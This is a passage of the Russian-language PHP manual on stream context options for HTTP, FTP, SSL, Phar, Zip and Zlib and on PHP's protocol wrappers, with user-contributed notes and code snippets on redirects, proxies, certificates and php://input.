'max_redirects' => '0',
'ignore_errors' => '1'
)
);

$context = stream_context_create($opts);
$stream = fopen($url, 'r', false, $context);

// информация о заголовках, а также
// метаданные о потоке
var_dump(stream_get_meta_data($stream));

// актуальная информация по ссылке $url
var_dump(stream_get_contents($stream));
fclose($stream);
?>

Примечания

Замечание: Опции контекста нижележащего потока в сокете
Дополнительные опции контекста могут поддерживаться нижележащим транспортным протоколом. Для потоков http://, это относится к опциям контекста для транспортного протокола tcp://. Для потоков https://, это относится к опциям контекста для транспортного протокола ssl://.

Замечание: Строка статуса HTTP
Когда эта обёртка потока следует по переадресации, wrapper_data, возвращаемый функцией stream_get_meta_data(), необязательно содержит строку статуса HTTP, которая на самом деле относится к содержанию данных по индексу 0.

array (
  'wrapper_data' =>
  array (
    0 => 'HTTP/1.0 301 Moved Permanently',
    1 => 'Cache-Control: no-cache',
    2 => 'Connection: close',
    3 => 'Location: http://example.com/foo.jpg',
    4 => 'HTTP/1.1 200 OK',
    ...
Первый запрос вернул код 301 (постоянное перенаправление), так что обёртка потока автоматически последовала этому перенаправлению, чтобы получить ответ 200 (индекс = 4).

Смотрите также

  • http://
  • Контекстные опции сокета
  • Опции контекста SSL

User Contributed Notes

ASchmidt at Anamera dot net 16-Feb-2021 02:51
With the default of

    'follow_location'   =>  1

be certain NEVER include a "Host:" header in the 'header' array.

If the host is set to "mydomain.com", and that web site has a (quite common) redirect to "www.mydomain.com", then the initial request to "http://mydomain.com" will get the expected response of:

HTTP/1.1 301 Moved Permanently
Location: http://www.mydomain.com/

However, the follow-up request does NOT replace the original "host" header with the new "location" value, as one would expect. Consequently each "follow-location" request will again be served by the original host of "http://mydomain.com", and continue the redirect loop until 'max_redirects' has been exhausted.

(For details: https://bugs.php.net/bug.php?id=77889)
daniel.peder (a) gmail.com 16-Oct-2017 06:55
note that both http and https transports require the same context name http

// OK example:
// this will work as expected
// note the url with https but context with http
$correct_data = file_get_contents('https://example.com', false, stream_context_create(array('http' => array(...))));

// INVALID example:
// this will not work, the context will be ignored
// note the url with https also context with https
$correct_data = file_get_contents('https://example.com', false, stream_context_create(array('https' => array(...))));
daniel dot peder at gmail dot com 16-Oct-2017 06:50
note that for both http and https protocols require the same 'http' context keyword:

<?php

// CORRECT example:
// this will work as expected
// note the url with https but context with http
$correct_data = file_get_contents('https://example.com', false, stream_context_create(array('http' => array(...))));

// INVALID example:
// this will not work, the context will be ignored
// note the url with https also context with https
$correct_data = file_get_contents('https://example.com', false, stream_context_create(array('https' => array(...))));
aruntechguy at outlook dot com 22-Sep-2017 02:50
If you want to use Basic Auth while using get_headers(), use stream_context options below.

I am using HEAD method here, but please feel free to use GET also.

<?php
$targetUrl = 'http or https target url here';
$basicAuth = base64_encode('username:password');

stream_context_set_default(
    [
        'http' => [
            'method' => 'HEAD',
            'header' => 'Authorization: Basic ' . $basicAuth
        ]
    ]
);
$result = get_headers($targetUrl);

print_r($result);
ywarnier at beeznest dot org 02-Aug-2017 08:39
Note that setting request_fulluri to true will *change* the value of $_SERVER['REQUEST_URI] on the receiving end (from /abc.php to http://domain.com/abc.php).
jay 14-Apr-2015 01:32
Remember to match content with Content-type:

<?php

$data = array(
    'var1' => 'some content',
    'var2' => 'doh'
);

$opts = array('http' =>
    array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/json',  // here...
        'content' => json_encode($data)  // and here.
    )
);

. . .

?>
nate 17-Apr-2014 03:19
Note that if you set the protocol_version option to 1.1 and the server you are requesting from is configured to use keep-alive connections, the function (fopen, file_get_contents, etc.) will "be slow" and take a long time to complete. This is a feature of the HTTP 1.1 protocol you are unlikely to use with stream contexts in PHP.

Simply add a "Connection: close" header to the request to eliminate the keep-alive timeout:

<?php
// php 5.4 : array syntax and header option with array value
$data = file_get_contents('http://www.example.com/', null, stream_context_create([
    'http' => [
        'protocol_version' => 1.1,
        'header'           => [
            'Connection: close',
        ],
    ],
]));
?>
chris 06-Feb-2014 06:14
I had quite a bit of trouble trying to make a request with fopen through a proxy to a secure url.  I kept getting a 400 Bad Request back from the remote host.  It was receiving the proxy url as the SNI host.  In order to get around this I had to explicity set the SNI host to the domain I was trying to reach.  It's apparently the issue outlined in this bug:

https://bugs.php.net/bug.php?id=63519

<?php
$domain = parse_url($file, PHP_URL_HOST);
$proxy_string = "tcp://" . WP_PROXY_HOST  . ":" . WP_PROXY_PORT;
$opts = array(
    'http' => array( 'proxy' => $proxy_string ),
    'ssl' => array( 'SNI_enabled' => true, 'SNI_server_name' => $domain));
$context = stream_context_create($opts);
$handle = fopen( $file, 'r', false, $context );
?>
vchampion at gmail dot com 23-Oct-2012 01:41
If you use the proxy server and encounter an error "fopen(http://example.com): failed to open stream: HTTP request failed! HTTP/1.0 400 Bad Request" note that in many situations you need also set the parameter "request_fulluri" to "true" in your stream options. Without this option the php script sends the empty request to the server as "GET / HTTP/0.0" and the proxy server replies to it with the "HTTP 400" error.

For example (working sample):
<?php
$stream = stream_context_create(Array("http" => Array("method"  => "GET",
                                                      "timeout" => 20,
                                                      "header"  => "User-agent: Myagent",
                                                      "proxy"   => "tcp://my-proxy.localnet:3128",
                                                      'request_fulluri' => True /* without this option we get an HTTP error! */
                                )));

if ( $fp = fopen("http://example.com", 'r', false, $stream) ) {
    print "well done";
}
?>

P>S> PHP 5.3.17
gourav sarkar 18-Jan-2011 08:09
watch your case when using methods (POST and GET)...it must be always uppercase. in case of you write it in lower case it wont work.


Список параметров контекста FTP

  • « Опции контекста HTTP
  • Опции контекста SSL »
  • PHP Manual
  • Контекстные опции и параметры
  • Список параметров контекста FTP

Параметры контекста FTP

Параметры контекста FTP — Список параметров контекста FTP

Описание

Параметры контекста для транспортных протоколов ftp:// и ftps://

Опции

overwrite bool

Разрешает перезаписывать существующие файлы на удалённом сервере. Работает только в режиме записи (upload).

По умолчанию false.

resume_pos int

Смещение в файле, с которого начинается передача. Работает только в режиме чтения (download).

По умолчанию 0 (Начало файла).

proxy string

FTP-запрос через прокси-сервер HTTP. Применяется только при операции чтения файла. Пример: tcp://squid.example.com:8000.

Примечания

Замечание: Опции контекста нижележащего потока в сокете
Дополнительные опции контекста могут поддерживаться нижележащим транспортным протоколом. Для потоков ftp://, это относится к опциям контекста для транспортного протокола tcp://. Для потоков ftps://, это относится к опциям контекста для транспортного протокола ssl://.

Смотрите также

  • ftp://
  • Контекстные опции сокета
  • Опции контекста SSL

User Contributed Notes

instatiendaweb at gmail dot com 07-Mar-2021 08:38
// Ruta del ftp debe coincidir con la ruta del localhost
$ftp_path = 'ftp://francisco:aaa@localhost:21/ftparchivo.txt';
// Escribimos las opciones de stream
$stream_options = array('ftp' => array('overwrite' => TRUE));
// Creamos un contexto
$stream_context = stream_context_create($stream_options);
\escribir::verifacionnota($stream_context, 'STREAMCONTEXT');
// Abrimos el fichero que vamos a leer
$flujo = fopen($ftp_path, 'r', false, $stream_context);
//Funcion creada :vardump + string
\escribir::verifacionnota($flujo, 'VARDUMP FOPEN');

$contenido = '';
//Traduccion mientras el contenido del archivo no este al final del fichero ==> feof
while (!feof($flujo)) {
//Entonces lee 8192 bytes del archivo y anadelos a la variable contenido
$contenido .= fread($flujo, 8192);
}
\escribir::verifacionnota($contenido, 'VARDUMP CONTENIDO');
//Cerramos el flujo
fclose($flujo);
dev at codesatori dot com 24-Nov-2016 07:01
Apparently the overwrite-option only registers as false if it's absent. If I specify it as false, it acts the same as true and overwrites. Then,
<?php
if (empty($opts['overwrite'])) {
    unset($opts['overwrite']);
}
?>
...was the simple fix for my FTP stream wrapper class sporting default options. This is quite unexpected though; false means false even if I say so? Apparently PHP (7.0.2) just checks if the option exists, not its boolean value.
php dot net at misterchucker dot com 15-Apr-2009 06:19
This is an example of how to allow fopen() to overwrite a file on an FTP site. If the stream context is not modified, an error will occur: "...failed to open stream: Remote file already exists and overwrite context option not specified...".

<?php
// The path to the FTP file, including login arguments
$ftp_path = 'ftp://username:password@example.com/example.txt';

// Allows overwriting of existing files on the remote FTP server
$stream_options = array('ftp' => array('overwrite' => true));

// Creates a stream context resource with the defined options
$stream_context = stream_context_create($stream_options);

// Opens the file for writing and truncates it to zero length
if ($fh = fopen($ftp_path, 'w', 0, $stream_context))
{
    // Writes contents to the file
    fputs($fh, 'example contents');

    // Closes the file handle
    fclose($fh);
}
else
{
    die('Could not open file.');
}
?>


Список опций контекста SSL

  • « Параметры контекста FTP
  • Контекстные опции Phar »
  • PHP Manual
  • Контекстные опции и параметры
  • Список опций контекста SSL

Опции контекста SSL

Опции контекста SSL — Список опций контекста SSL

Описание

Опции контекста для протоколов ssl:// и tls://

Опции

peer_name string

Имя узла. Если его значение не задано, тогда имя подставляется основываясь на имени хоста, использованного при открытии потока.

verify_peer bool

Требовать проверки используемого SSL-сертификата.

По умолчанию true.

verify_peer_name bool

Требовать проверки имени узла.

По умолчанию true.

allow_self_signed bool

Разрешить самоподписанные сертификаты. Требует verify_peer.

По умолчанию false

cafile string

Расположение файла сертификата в локальной файловой системе, который следует использовать с опцией контекста verify_peer для проверки подлинности удалённого узла.

capath string

Если параметр cafile не определён или сертификат не найден, осуществляется поиск в директории, указанной в capath. Путь capath должен быть к корректной директории, содержащей сертификаты, имена которых являются хешем от поля subject, указанного в сертификате.

local_cert string

Путь к локальному сертификату в файловой системе. Это должен быть файл, закодированный в PEM, который содержит ваш сертификат и закрытый ключ. Он дополнительно может содержать открытый ключ эмитента. Закрытый ключ также может содержаться в отдельном файле, заданным local_pk.

local_pk string

Путь к локальному файлу с приватным ключом в случае отдельных файлов сертификата (local_cert) и приватного ключа.

passphrase string

Идентификационная фраза, с которой ваш файл local_cert был закодирован.

verify_depth int

Прервать, если цепочка сертификата слишком длинная.

По умолчанию проверка отсутствует.

ciphers string

Устанавливает список доступных алгоритмов шифрования. Формат этой строки описан в разделе » шифры(1).

По умолчанию принимает значение DEFAULT.

capture_peer_cert bool

Если установлено в true, то будет создана опция контекста peer_certificate, содержащая сертификат удалённого узла.

capture_peer_cert_chain bool

Если установлено в true, то будет создана опция контекста peer_certificate_chain, содержащая цепочку сертификатов.

SNI_enabled bool

Если установлено в true, то будет включено указание имени сервера. Включение SNI позволяет использовать разные сертификаты на одном и том же IP-адресе.

disable_compression bool

Отключает сжатие TLS, что помогает предотвратить атаки типа CRIME.

peer_fingerprint string | array

Прерваться, если дайджест сообщения не совпадает с указанным хешом.

Если указана строка (string), то её длина определяет какой алгоритм хеширования будет использован: "md5" (32) или "sha1" (40).

Если указан массив (array), то ключи определяют алгоритм хеширования, а каждое соответствующее значение является требуемым хешом.

security_level int

Устанавливает уровень безопасности. Если не указан, используется стандартный уровень безопасности, указанный в библиотеке. Уровни безопасности описаны в » SSL_CTX_get_security_level(3).

Доступна с PHP 7.2.0 и OpenSSL 1.1.0.

Список изменений

Версия | Описание
7.2.0 | Добавлен security_level. Требуется OpenSSL >= 1.1.0.

Примечания

Замечание: Так как ssl:// - это нижележащий транспортный протокол для обёрток https:// и ftps://, то любые опции контекста, которые применяются к ssl:// будут также применяться к https:// и ftps://.

Замечание: Чтобы была доступна возможность указания имени сервера (SNI, Server Name Indication), PHP должен быть скомпилирован с OpenSSL 0.9.8j или более поздней. Используйте константу OPENSSL_TLSEXT_SERVER_NAME чтобы определить, поддерживается ли SNI.

Смотрите также

  • Контекстные опции сокета

User Contributed Notes

tianyiw at vip dot qq dot com 09-Dec-2022 04:52
Enable SNI (Server Name Indication):
PEM must be contains certificate and private key.
<?php
$context = stream_context_create([
    'ssl' => [
        'SNI_enabled' => true,
        'SNI_server_certs' => [
            'host1.com' => '/path/host1.com.pem',
            'host2.com' => '/path/host2.com.pem',
        ],
    ]
]);
?>
consatangmail dot com 19-Apr-2022 03:41
recommended use "ssl://" transport.

in php 5.5 ~ 7.1
ssl:// transport = ssl_v2|ssl_v3|tls_v1.0|tls_v1.1|tls_v1.2
tls:// transport = tls_v1.0

after 7.2 ssl:// and tls:// transports is same
php 7.2 ~ 7.3 = tls_v1.0|tls_v1.1|tls_v1.2
php 7.4 ~ 8.1 = tls_v1.0|tls_v1.1|tls_v1.2|tls_v1.3
gabri dot ns at gmail dot com 13-Jan-2020 09:21
i usually download root CA certificate from https://curl.haxx.se/docs/caextract.html then put it as 'cafile' and it work almost all of the time.

the only problem i'v ever found is when the server does not properly sending intermediete CA certificate, then, you must add it manually to the file.
mechtecs at gmail dot com 09-Nov-2018 01:09
If you want to validate the server against a local certificate, which you already saved, to further validate the target server, you have to use a fullchain.pem. Then the verify_peer option will work. So just get the server certificate, and search the root CA's pem's and copy everything into a single file. For example:

My certificate has the "GeoTrust TLS RSA CA G1" certificate in the chain, so you google that string. Go to the official digicert Geotrust page and download the "GeoTrustTLSRSACAG1.crt" certificate. Then you can use the following command to convert it into the pem format:
openssl x509 -inform DER -in GeoTrustTLSRSACAG1.crt -out GeoTrustTLSRSACAG1.crt.pem -outform PEM
Charlie 05-Dec-2016 07:53
I am unable to load a PEM that was generated with the stunnel tools. However, I am able to use PHP calls to generate a working PEM that is recognized both by stunnel and php, as outlined here:

http://www.devdungeon.com/content/how-use-ssl-sockets-php

This code fragment is now working for me, and with stunnel verify=4, both sides confirm the fingerprint. Oddly, if "tls://" is set below, then TLSv1 is forced, but using "ssl://" allows TLSv1.2:

$stream_context = stream_context_create([ 'ssl' => [
'local_cert'        => '/path/to/key.pem',
'peer_fingerprint'  => openssl_x509_fingerprint(file_get_contents('/path/to/key.crt')),
'verify_peer'       => false,
'verify_peer_name'  => false,
'allow_self_signed' => true,
'verify_depth'      => 0 ]]);

$fp = stream_socket_client('ssl://ssl.server.com:12345',
   $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $stream_context);
fwrite($fp, "foo bar\n");
while($line = fgets($fp, 8192)) echo $line;
Charlie 02-Dec-2016 07:28
It appears that "allow_self_signed" does not and cannot apply to the local_cert option.

The stunnel verify=4 option, which verifies but ignores a CA, has no analog in these settings, which is unfortunate.

Even more perplexingly, while the "openssl verify -CAfile" is successful, PHP appears unable to use the new ca/crt pair in any configuration.

I did actually link my PHP against a copy of LibreSSL 2.3.8, but PHP oddly is unable to use TLS1.1 or 1.2. It does, however, enable EC secp521r1 (of which my native OpenSSL 0.9.8e is incapable).
website at meezaan dot net 05-Sep-2016 01:48
There is also a crypto_type context. In older versions this was crypto_method. This is referenced on http://php.net/manual/en/function.stream-socket-enable-crypto.php
borbas dot geri at gmail dot com 31-Jan-2014 12:06
I used this for Apple Push Notification Service.
Passed in a local certificate filename `cert.pem` trough local_cert option.
Worked fine, when invoked the script directly.

But when I included/required the script from a different location, it stopped working, without any explicit error message.

Resolved by passed in the full path for the file `<FullPathTo>cert.pem`.
Botjan kufca 20-Feb-2010 11:11
CN_match works contrary to intuitive thinking. I came across this when I was developing SSL server implemented in PHP. I stated (in code):

- do not allow self signed certs (works)
- verify peer certs against CA cert (works)
- verify the client's CN against CN_match (does not work), like this:

stream_context_set_option($context, 'ssl', 'CN_match', '*.example.org');

I presumed this would match any client with CN below .example.org domain.
Unfortunately this is NOT the case. The option above does not do that.

What it really does is this:
- it takes client's CN and compares it to CN_match
- IF CLIENT's CN CONTAINS AN ASTERISK like *.example.org, then it is matched against CN_match in wildcard matching fashion

Examples to illustrate behaviour:
(CNM = server's CN_match)
(CCN = client's CN)

- CNM=host.example.org, CCN=host.example.org ---> OK
- CNM=host.example.org, CCN=*.example.org ---> OK
- CNM=.example.org, CCN=*.example.org ---> OK
- CNM=example.org, CCN=*.example.org ---> ERROR

- CNM=*.example.org, CCN=host.example.org ---> ERROR
- CNM=*.example.org, CCN=*.example.org ---> OK

According to PHP sources I believe that the same applies if you are trying to act as Client and the server contains a wildcard certificate. If you set CN_match to myserver.example.org and server presents itself with *.example.org, the connection is allowed.

Everything above applies to PHP version 5.2.12.
I will supply a patch to support CN_match starting with asterisk.


Список контекстных опций Phar

  • « Опции контекста SSL
  • Параметры контекста »
  • PHP Manual
  • Контекстные опции и параметры
  • Список контекстных опций Phar

Контекстные опции Phar

Контекстные опции Phar — Список контекстных опций Phar

Описание

Контекстные опции для обёртки phar://.

Опции

compress int

Одна из констант сжатия Phar.

metadata mixed

Метаданные Phar. Смотрите Phar::setMetadata().

Смотрите также

  • phar://
  • Потоки Phar

User Contributed Notes

There are no user contributed notes for this page.


Список параметров контекста

  • « Контекстные опции Phar
  • Опции контекста Zip »
  • PHP Manual
  • Контекстные опции и параметры
  • Список параметров контекста

Параметры контекста

Параметры контекста — Список параметров контекста

Описание

Данные параметры могут быть заданы для контекста с помощью функции stream_context_set_params().

Список параметров

notification callable

Функция типа callable, вызываемая при наступлении события в потоке.

За подробностями обращайтесь к документации функции stream_notification_callback.

User Contributed Notes

There are no user contributed notes for this page.


Список опций контекста Zip

  • « Параметры контекста
  • Zlib context options »
  • PHP Manual
  • Контекстные опции и параметры
  • Список опций контекста Zip

Опции контекста Zip

Опции контекста Zip — Список опций контекста Zip

Описание

Опции контекста Zip доступны для обёрток zip.

Опции

password

Используется для указания пароля, используемого для зашифрованных архивов.

Список изменений

Версия | Описание
PHP 7.2.0, PECL zip 1.14.0 | Добавлен параметр password.

Примеры

Пример #1 Простой пример использования password

<?php
// Читаем зашифрованный архив
$opts = array(
'zip' => array(
'password' => 'secret',
),
);
// создаём контекст...
$context = stream_context_create($opts);

// ...и используем его для получения данных
echo file_get_contents('zip://test.zip#test.txt', false, $context);

?>

User Contributed Notes

There are no user contributed notes for this page.


Перечисление опций контекста Zlib

  • « Опции контекста Zip
  • Поддерживаемые протоколы и обёртки »
  • PHP Manual
  • Контекстные опции и параметры
  • Перечисление опций контекста Zlib

Zlib context options

Zlib context options — Перечисление опций контекста Zlib

Описание

Опции контекста Zlib доступны для обёрток zlib.

Опции

level

Используется для указания уровня сжатия (0 - 9).

Список изменений

Версия | Описание
7.3.0 | Добавлен параметр level.

User Contributed Notes

There are no user contributed notes for this page.


Поддерживаемые протоколы и обёртки

PHP поставляется со множеством встроенных обёрток для различных URL-протоколов для использования с функциями файловой системы, таких как fopen(), copy(), file_exists() и filesize(). В дополнение к этим обёрткам, можно регистрировать собственные обёртки, используя функцию stream_wrapper_register().

Замечание: URL синтаксис, используемый для описания обёртки, может быть только вида scheme://.... Варианты синтаксиса scheme:/ и scheme: не поддерживаются.

Содержание

  • file:// — Доступ к локальной файловой системе
  • http:// — Доступ к URL-адресам по протоколу HTTP(s)
  • ftp:// — Доступ к URL-адресам по протоколу FTP(s)
  • php:// — Доступ к различным потокам ввода-вывода
  • zlib:// — Сжатые потоки
  • data:// — Схема Data (RFC 2397)
  • glob:// — Нахождение путей, соответствующих шаблону
  • phar:// — PHP-архив
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — Аудиопотоки
  • expect:// — Потоки для взаимодействия с процессами

User Contributed Notes

kazdotkanso at geeemail dot com 25-Sep-2020 06:28
The php://fd/ wrapper is only supported in the cli tool.
Anonymous 29-Mar-2018 06:02
Be forewarned:

the file:// protocol used in file_get_contents is used as the default for "any unrecognized protocol." Thus:

aldfjadlfadfladfl://whatever

will deliver the same as

file://whatever
Hayley Watson 10-Jan-2018 11:56
Even though their names will be the same, you can have more than one //memory or //temp stream open concurrently; each time you fopen() such a stream, a NEW stream will be opened independently of the others.

This is hinted at by the fact you don't add any unique identifier to the path when creating such streams, but isn't said explicitly.

<?php

$hello = fopen('php://memory', 'r+'); // $hello, $php, $world are all different streams.
$php  = fopen('php://memory', 'r+');
$world = fopen('php://memory', 'r+'); // They're not the same stream opened three times.

fputs($hello, "Hello ");
fputs($php, "PHP ");
rewind($php);
fputs($world, "World!");
rewind($hello);
rewind($world);

echo '[', stream_get_contents($hello), '][', stream_get_contents($php), '][', stream_get_contents($world), ']';
// If they were the same stream the output would be "[World!][World!][World!]".
?>
Anonymous 13-Aug-2017 12:37
If you want to filter incoming data through php://input use this:

file_get_contents("php://filter/read=string.strip_tags/resource=php://input");

I couldn't find any documentation to explain how to do this. All the examples I came across suggested that a full and actual URL had to be used (which didn't work for me).

This seems to work though.
Anonymous 28-Jan-2016 08:58
Note that STDIN and similar are defined only in CLI
ohcc at 163 dot com 05-Nov-2015 06:45
<?php
    //enable $HTTP_RAW_POST_DATA when necessary
    ini_set('always_populate_raw_post_data',-1);
    $HTTP_RAW_POST_DATA = file_get_contents('php://input');
    echo $HTTP_RAW_POST_DATA;
?>
nguyenanthuan at gmail dot com 18-Nov-2014 11:05
Each stream pointer to php://memory and php://temp has its own memory allocation, so you can open many stream pointers to store your separated values.

<?php
$fp = fopen("php://temp", "r+");
$fp2 = fopen("php://temp", "r+");

fwrite($fp, "line1\n");
fwrite($fp2, "line4\n");
fwrite($fp, "line2\n");
fwrite($fp2, "line5\n");
fwrite($fp, "line3\n");
fwrite($fp2, "line6\n");

var_dump(memory_get_usage());

rewind($fp);
while(!feof($fp)) {
    var_dump(fread($fp, 1024));
}
fclose($fp);
var_dump(memory_get_usage());

rewind($fp2);
while(!feof($fp2)) {
    var_dump(fread($fp2, 1024));
}
fclose($fp2);
var_dump(memory_get_usage());
?>

Closing their stream handles will also free the allocated memory.

php://memory stream type is MEMORY, while php://temp stream type is STDIO FILE*.
vibhavsinha91 at gmail dot com 08-Sep-2014 10:35
While writing to error stream, error_log() function comes as a shorthand to writing to php://stderr . This function also allows writing to web server log when running through a web server such as apache.
oliver at codeinline dot com 13-Feb-2014 07:14
A useful way to handle large file uploads is to do something like:

copy(("php://input"),$tmpfile);

as this avoids using lots of memory just to buffer the file content.

The correct mime type for this should be "application/octet-stream" however if you set this or any other recognised mime type other than "multipart/form-data" on your POST then $HTTP_RAW_POST_DATA is populated and the memory is consumed anyway.

Setting the mime type to "multipart/form-data" raises "PHP Warning:  Missing boundary in multipart/form-data POST data in Unknown on line 0" however it seems to work without a problem.
dave at 4mation dot com dot au 03-Jun-2013 04:46
The use of php://temp/maxmemory as a stream counts towards the memory usage of the script; you are not specifying a new memory pool by using this type of stream.
As noted in the documentation however, this stream type will start to write to a file after the specified maxmemory limit is exceeded. This file buffer is NOT observed by the memory limit.
This is handy if you want your script to have a reasonably small memory limit (eg 32MB) but but still be able to handle a huge amount of data in a stream (eg 256MB)

The only works if you use stream functions like fputs(); if you use $buffer .= 'string'; or $buffer = $buffer . 'string'; you're calling your stream data back into PHP and this will hit the limiter.

As a practical example:

<?php
// 0.5MB memory limit
ini_set('memory_limit', '0.5M');
// 2MB stream limit
$buffer = fopen('php://temp/maxmemory:1048576', 'r+');
$x = 0;
// Attempt to write 1MB to the stream
while ($x < 1*1024*1024) {
    fputs($buffer, 'a');
    $x++;
}
echo "This will never be displayed";
?>

However, change fopen to use php://temp/maxmemory:1 (one byte, rather than one megabyte) and it will begin writing to the unlimited file stream immediately, avoiding memory limit errors.
Anonymous 01-May-2013 09:17
In PHP 5.4+ you can read multipart data via php://input if you set enable_post_data_reading to Off.

Of course if you set it to off, the $_POST and $_FILES superglobals won't be populated at all. It's entirely up to you to parse the data now.
Justin Megawarne 23-Apr-2013 04:42
If my understanding of the implementing code is correct, every time you open a php://memory stream, you get new storage allocated. That is to say, php://memory isn't a shared bank of memory.
fabacrans__ at __nospamhotmail__ dot __com 05-Mar-2013 12:06
You can use "php://input" to accept and parse "PUT", "DELETE", etc. requests.

<?php
// Example to parse "PUT" requests
parse_str(file_get_contents('php://input'), $_PUT);

// The result
print_r($_PUT);
?>

(very useful for Restful API)
php at rapsys dot eu 06-Aug-2012 02:00
Here is a snippet to read compressed raw post data without enabling global variables.

I needed it to read xml posted data submitted by ocs agent. The data was sent as Content-Type: application/x-compressed (zlib compressed data).

It seems related to an old bug which still seems broken :
https://bugs.php.net/bug.php?id=49411

The important part is the default window set to 15 instead of -15.

Code snippet
<?php
$data = '';
$fh = fopen('php://input', 'rb');
stream_filter_append($fh, 'zlib.inflate', STREAM_FILTER_READ, array('window'=>15));
while(!feof($fh)) {
    $data .= fread($fh, 8192);
}
?>
aaron dot mason+php at thats-too-much dot info 05-Jun-2012 01:46
Be aware of code injection, folks - like anything else you take from the user, SANITISE IT FIRST.  This cannot be stressed enough - if I had a dollar for each time I saw code where form input was taken and directly used (by myself as well, I've been stupid too) I'd probably own PHP.  While using data from a form in a URL wrapper is asking for trouble, you can greatly minimise the trouble by making sure your inputs are sane and not likely to provide an opening for the LulzSec of the world to cause havoc.
Anonymous 04-May-2012 07:00
For php://filter the /resource=foo part must come last. And foo needs no escaping at all.
php://filter/resource=foo/read=somefilter would try to open a file 'foo/read=somefilter' while php://filter/read=somefilter/resource=foo will open file 'foo' with the somefilter filter applied.
leonid at shagabutdinov dot com 22-Jul-2011 09:45
For https for windows enable this extension:

extension=php_openssl.dll
sebastian dot krebs at kingcrunch dot de 04-Feb-2011 04:49
The stream php://temp/maxmemory:$limit stores the data in memory unless the limit is reached. Then it will write the whole content the a temporary file and frees the memory. I didnt found a way to get at least some of the data back to memory.
gjaman at gmail dot com 15-May-2008 02:15
You can decompress (gzip) a input stream by combining wrappers:

eg:  $x = file_get_contents("compress.zlib://php://input");

I used this method to decompress a gzip stream that was pushed to my webserver
jerry at gii dot co dot jp 17-Aug-2007 10:11
Not only are STDIN, STDOUT, and STDERR only allowed for CLI programs, but they are not allowed for programs that are read from STDIN. That can confuse you if you try to type in a simple test program.
sander at medicore dot nl 14-Jun-2007 04:25
to create a raw tcp listener system i use the following:

xinetd daemon with config like:
service test
{
        disable      = no
        type         = UNLISTED
        socket_type  = stream
        protocol     = tcp
        bind         = 127.0.0.1
        port         = 12345
        wait         = no
        user         = apache
        group        = apache
        instances    = 10
        server       = /usr/local/bin/php
        server_args  = -n [your php file here]
        only_from    = 127.0.0.1 #gotta love the security#
        log_type     = FILE /var/log/phperrors.log
        log_on_success += DURATION
}

now use fgets(STDIN) to read the input. Creates connections pretty quick, works like a charm.Writing can be done using the STDOUT, or just echo. Be aware that you're completely bypassing the webserver and thus certain variables will not be available.
ben dot johansen at gmail dot com 25-Oct-2006 02:57
followup:

I found that if I added this line to the AJAX call, the values would show up in the $_POST

xhttp.setRequestHeader('Content-Type',
'application/x-www-form-urlencoded');
ben dot johansen at gmail dot com 29-Aug-2006 11:02
Example of how to use the php://input to get raw post data

//read the raw data in
$roughHTTPPOST = file_get_contents("php://input");
//parse it into vars
parse_str($roughHTTPPOST);

if you do readfile("php://input") you will get the length of the post data
ben dot johansen at gmail dot com 29-Aug-2006 12:33
In trying to do AJAX with PHP and Javascript, I came upon an issue where the POST argument from the following javascript could not be read in via PHP 5 using the $_REQUEST or $_POST. I finally figured out how to read in the raw data using the php://input directive.

Javascript code:
=============
      //create request instance
      xhttp = new XMLHttpRequest();
      // set the event handler
      xhttp.onreadystatechange = serviceReturn;
      // prep the call, http method=POST, true=asynchronous call
      var Args = 'number='+NbrValue;
      xhttp.open("POST", "http://<?php echo $_SERVER['SERVER_NAME'] ?>/webservices/ws_service.php", true);
      // send the call with args
      xhttp.send(Args);

PHP Code:
    //read the raw data in
    $roughHTTPPOST = file_get_contents("php://input");
    //parse it into vars
    parse_str($roughHTTPPOST);
heitorsiller at uol dot com dot br 07-Jul-2006 07:55
For reading a XML stream, this will work just fine:
<?php

$arq = file_get_contents('php://input');

?>

Then you can parse the XML like this:

<?php

$xml = xml_parser_create();

xml_parse_into_struct($xml, $arq, $vs);

xml_parser_free($xml);

$data = "";

foreach($vs as $v){

        if($v['level'] == 3 && $v['type'] == 'complete')
                $data .= "\n".$v['tag']." -> ".$v['value'];
}

echo $data;

?>

PS.: This is particularly useful for receiving mobile originated (MO) SMS messages from cellular phone companies.
nyvsld at gmail dot com 27-Nov-2005 10:28
php://stdin supports fseek() and fstat() function call,
while php://input doesn't.
chris at free-source dot com 26-Apr-2005 12:52
If you're looking for a unix based smb wrapper there isn't one built in,  but I've had luck with http://www.zevils.com/cgi-bin/viewcvs.cgi/libsmbclient-php/ (tarball link at the end).
nargy at yahoo dot com 24-Sep-2004 03:16
When opening php://output in append mode you get an error, the way to do it:
$fp=fopen("php://output","w");
fwrite($fp,"Hello, world !<BR>\n");
fclose($fp);
aidan at php dot net 27-May-2004 03:34
The contants:

* STDIN
* STDOUT
* STDERR

Were introduced in PHP 4.3.0 and are synomous with the fopen('php://stdx') result resource.
lupti at yahoo dot com 29-Nov-2003 02:04
I find using file_get_contents with php://input is very handy and efficient. Here is the code:

$request = "";
$request = file_get_contents("php://input");

I don't need to declare the URL filr string as "r". It automatically handles open the file with read.

I can then use this $request string to your XMLparser as data.
sam at bigwig dot net 15-Aug-2003 08:02
[ Editor's Note: There is a way to know.  All response headers (from both the final responding server and intermediate redirecters) can be found in $http_response_header or stream_get_meta_data() as described above. ]

If you open an HTTP url and the server issues a Location style redirect, the redirected contents will be read but you can't find out that this has happened.

So if you then parse the returned html and try and rationalise relative URLs you could get it wrong.


Доступ к локальной файловой системе

  • « Поддерживаемые протоколы и обёртки
  • http:// »
  • PHP Manual
  • Поддерживаемые протоколы и обёртки
  • Доступ к локальной файловой системе

file://

file:// — Доступ к локальной файловой системе

Описание

Файловая система - это стандартная обёртка для PHP, представляющая файловую систему на локальном компьютере. Когда задан относительный путь (путь, который не начинается с символов "/", "\", "\\" или с буквы жёсткого диска в Windows), он будет применён к текущей рабочей директории. В большинстве случаев это директория, в которой находится сценарий, если она не была изменена. При использовании CLI SAPI директорией по умолчанию будет та, из которой вызвано исполнение сценария.

В некоторых функциях, таких как fopen() и file_get_contents(), поиск файла может дополнительно производиться в include_path.

Использование

  • /path/to/file.ext
  • relative/path/to/file.ext
  • fileInCwd.ext
  • C:/path/to/winfile.ext
  • C:\path\to\winfile.ext
  • \\smbserver\share\path\to\winfile.ext
  • file:///path/to/file.ext

Опции

Основная информация
Атрибут | Поддержка
Ограничение по allow_url_fopen | Нет
Чтение | Да
Запись | Да
Добавление | Да
